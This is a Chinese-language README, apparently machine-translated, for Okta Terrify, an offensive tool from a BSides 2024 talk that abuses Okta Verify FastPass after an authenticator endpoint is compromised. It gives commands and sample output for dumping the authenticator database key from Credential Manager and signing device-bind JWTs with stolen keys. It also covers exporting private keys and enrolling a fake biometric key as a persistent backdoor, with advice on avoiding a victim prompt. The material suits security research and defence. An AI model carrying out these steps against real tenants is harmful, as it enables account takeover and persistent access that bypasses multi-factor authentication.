该工具是作为我的 BSides Cymru 2024 演讲 Okta Terrify:无密码世界中的持久性的一部分发布的。演示文稿和演示视频已包含在该存储库中。
Okta Terrify 是一个工具,用于演示一旦身份验证器端点受到威胁,无密码解决方案(例如 Okta verify 的 FastPass 或其他 FIDO2/WebAuthn 类型解决方案)如何被滥用。虽然 Okta Terrify 演示了 Okta 特定攻击,但相同的方法通常适用于其他无密码解决方案,因为它们通常都利用非对称加密技术。
无密码身份验证通过公钥/私钥对进行。通常,在身份验证器注册期间会生成两种类型的密钥: Proof Of Possession
和User Verification
。结合起来,这两个密钥都满足组织努力实现的多因素身份验证元素,作为保护用户的持续努力的一部分。
拥有密钥证明的目的就是为了证明身份验证过程中特定身份验证者和/或用户的存在。在 Okta 的例子中,拥有密钥证明用于确定身份验证者和用户的存在,因为在多用户场景中,每个用户都会生成唯一的拥有密钥证明。所有权证明密钥通常是静默密钥,不需要任何形式的生物识别数据来解锁其超出操作系统本身的用途,例如经过身份验证的 Windows 用户会话。如果可用,此密钥将由 TPM 支持,因此无法从设备导出。当 TPM 不可用时,该密钥将生成为纯软件密钥。
用户验证密钥还提供拥有证明,但还验证用户确实知道正在进行身份验证。这是通过生物识别数据实现的,通常是指纹或面部识别,但也有 PIN 码支持。在基于 Windows 的设备上,这通常通过使用 Windows Hello 来实现。如果没有提供正确的生物识别数据,签名操作将无法进行。一些无密码解决方案将仅使用用户验证密钥来满足这两个因素。这种方法的缺点是每次签名操作都需要用户的生物识别数据。在 Okta 的示例中,拥有密钥的证明可以与用户密码等分隔因素一起用作身份验证期间的独特因素。同样,该密钥要么由 TPM 支持(如果可用),要么由软件生成(如果不可用)。
好的,关于无密码的背景知识已经讲得够多了,让我们开始吧。虽然所有受支持的 Okta 验证设备都存在相同的概念,但从这里开始,我们将讨论 Windows 版本的 Okta 验证如何运行。
Okta 将验证器信息存储在加密的 SQLite 数据库中。有两个不同的数据库版本,旧版本存储在名为OVStore.db
的文件中,该文件使用用户 SID 作为通过自定义 XOR 算法和固定密钥传递的加密密钥的基础。较新的版本称为DataStore.db
,并使用存储在凭据管理器中的随机值。该凭证通过与传统格式类似的 XOR 算法传递。数据库存储在%LocalAppData%OktaOktaVerify
。该数据库包含在设备注册期间生成的所有权证明和用户验证密钥的生成密钥 ID。该数据库还包含其他有用的元数据,例如设备、用户和身份验证器 ID 以及注册帐户的 Okta 租户 URL。
Okta Terrify 分为两个不同的部分。 Okta Terrify 和 OktaInk。
Okta Terrify 设计为在攻击者的计算机上运行。该工具需要用户 SID 和具有旧数据库格式的数据库文件,对于较新的格式,还需要数据库密钥。对于较新的格式,可以使用 OktaInk 生成数据库密钥。 Okta Terrify 有 4 种操作模式,通过各种开关控制。
--info
模式只是转储数据库中包含的信息。
遗留数据库
OktaTerrify.exe --info -s S-1-5-21-*******-1001 --db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
2023-11-21 11:49:56.2243|INFO|OktaTerrify|Okta Terrify is starting....
C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
Database Encryption Key: 3a9d6ad1643f2608479c976f1a2ebcb98c115c379d8dfaa2bb6ab2c65c286250
User Id: 00u8*******
Client Instance Id: cli*******
Device Id: guo9**********
Authenticator Url: https://tenant.okta.com/api/v1/authenticators/aut*****
Method Enrollment Id: crp*****
Device Enrollment Id: pfd*****
Sandbox Account Name: None
Keys:
Id: SFT_********, Sandboxed: No, Type ProofOfPossession
Id: BOL_********, Sandboxed: No, Type UserVerification
Id: SFT_********, Sandboxed: No, Type DeviceAttestation
较新的数据库
OktaTerrify.exe --info -s S-1-5-21-*******-1001 --db C:UsersTesterAppDataLocalOktaOktaVerifyDataStore.db --dbkey a156a0b42c....6dd83f701
2023-11-21 11:49:56.2243|INFO|OktaTerrify|Okta Terrify is starting....
C:UsersTesterAppDataLocalOktaOktaVerifyDataStore.db
Database Encryption Key: 3a9d6ad1643f2608479c976f1a2ebcb98c115c379d8dfaa2bb6ab2c65c286250
User Id: 00u8*******
Client Instance Id: cli*******
Device Id: guo9**********
Authenticator Url: https://tenant.okta.com/api/v1/authenticators/aut*****
Method Enrollment Id: crp*****
Device Enrollment Id: pfd*****
Sandbox Account Name: None
Keys:
Id: SFT_********, Sandboxed: No, Type ProofOfPossession
Id: BOL_********, Sandboxed: No, Type UserVerification
Id: SFT_********, Sandboxed: No, Type DeviceAttestation
在--backdoor
模式下,Okta Terrify 将使用官方 Okta 验证应用程序在注册期间使用的 OAuth 客户端 ID 启动租户 Okta URL。这通常会触发身份验证流程,并且签名模式在此阶段处于活动状态。创建经过身份验证的会话后,攻击设备上会生成新的用户验证密钥,并作为伪造的生物识别密钥进行注册。注册密钥后,FastPass 将在无密码状态下运行,而不依赖于原始受损的身份验证器设备。
OktaTerrify.exe -b -s S-1-5-21-********-1001 -db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db -v
2023-11-21 11:47:10.4741|INFO|OktaTerrify|Okta Terrify is starting....
2023-11-21 11:47:10.5057|INFO|OktaTerrify.Oidc.LoopbackHttpListener|HTTP server listening on loopback ports 8769 65112
[=] Sign the device bind JWT on the enrolled Okta Verify device
OktaInk -o SignDeviceBind -k BOL_************ -d pfd******** -u 00u******** -n bGI******** -t ftt******** -a https://tenant.okta.com -m crp**** -v
[.] Enter DeviceBind JWT:
eyJraW......
2023-11-21 11:47:43.9337|INFO|OktaTerrify|Signed JWT accepted, factor accepted
2023-11-21 11:47:48.5310|INFO|OktaTerrify|Authenticated as user [email protected], enrolling a fake userVerify TPM key
2023-11-21 11:47:48.5464|INFO|OktaTerrify|Generated new fake hardware biometric key and saved to file BD_******.key
[=] I now need the existing userVerification public key
OktaInk -o ExportPublic -k BOL_************
[.] Enter userVerification public key:
nOng....
2023-11-21 11:48:05.1047|INFO|OktaTerrify|Passwordless persistence successful, now running in FastPass mode
2023-11-21 11:48:05.1047|INFO|OktaTerrify|Running in backdoor mode, press ESC to exit
在--sign
模式下,在 Okta 身份验证期间,挑战要么通过泄露的密钥在本地签名,要么当存在硬件支持的密钥时,它们可以代理到在受感染的身份验证器上运行的 OktaInk。
OktaTerrify.exe --sign -s S-1-5-21-******-1001 -db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
2023-11-21 16:54:33.9386|INFO|OktaTerrify|Okta Terrify is starting....
2023-11-21 16:54:34.0014|INFO|OktaTerrify.Oidc.LoopbackHttpListener|HTTP server listening on loopback ports 8769 65112
2023-11-21 16:54:34.0014|INFO|OktaTerrify|Running in signing mode, press ESC to exit
2023-11-21 16:54:54.7414|WARN|OktaTerrify|!!WARNING!! - Incoming sign request for the user verification key, this will cause a popup on the victim machine to enter user verification PIN/Password because no local key exists. To force generation of user verification key signing, add the -v argument. Falling back to proof of possession key
[=] Sign the device bind JWT on the enrolled Okta Verify device
OktaInk -o SignDeviceBind -k SFT_********** -d pfd***** -u 00u****** -n C7bG****** -t ft4Kw******* -a https://tenant.okta.com -m crp*******
[.] Enter DeviceBind JWT:
eyJra.....
2023-11-24 16:55:10.8214|INFO|OktaTerrify|Signed JWT accepted, factor accepted
--import
模式将保存使用 Okta Ink 提取的软件定义的所有权证明和用户验证密钥。
OktaTerrify --import -k SFT_****** -p UlNBMgAIAAAD....M=
Okta Ink 设计为在受感染的身份验证器设备上运行。该应用程序支持 4 种类型的操作。
对于较新的数据库格式,可以使用--operation DumpDBKey
转储DataStore.db
文件的数据库密钥。然后该密钥可以用作 OkaInk 的参数。
OktaTerrify --import -k SFT_****** -p UlNBMgAIAAAD....M=
OktaInk -o DumpDBKey
[=] Credential manager key name: OKTA_VERIFY_STORE_ZfH+9F42Ch3X2+dZBFX3FCMtPnctn6lk8MqsCoH/Osc=
[+] DB Key: a156a....83f701
在 Okta 身份验证流程中,会生成质询响应 JWT 以证明存在证明或用户验证密钥可用。 --operation SignDeviceBind
模式可用于使用所有权证明密钥对生成的 JWT 进行签名,这是无声的。如果要执行无密码身份验证,还可以通过添加-v
参数使用用户验证密钥进行签名。警告 - 当请求用户验证密钥时,受害用户将需要执行生物识别验证,因此可能会引起怀疑。
Okta verify 还注册设备证明密钥,这是一个静默密钥。当通过针对 Okta 租户的 Web API 调用对注册的身份验证器设备进行更改时,似乎会使用此密钥。但默认情况下似乎不强制执行设备认证,因此不需要签名。无论如何,可以通过--operation SignDeviceAttestation
参数来利用此模式。
对于不支持 TPM 的设备,可以使用--operation ExportPrivate
命令行导出在设备上注册的所有密钥。所有权证明密钥与用户 DPAPI 密钥相关联,因此必须知道用户密码。
在后门注册过程中,我们需要确保现有公钥保留在租户身份验证器数据中。 --operation ExportPublic
通过导出与特定密钥 ID 关联的公钥来实现此目的。
OktaInk -o ExportPublic -k BOL_******************
nOngWn_Bd8IH_8GJTjGeXpf....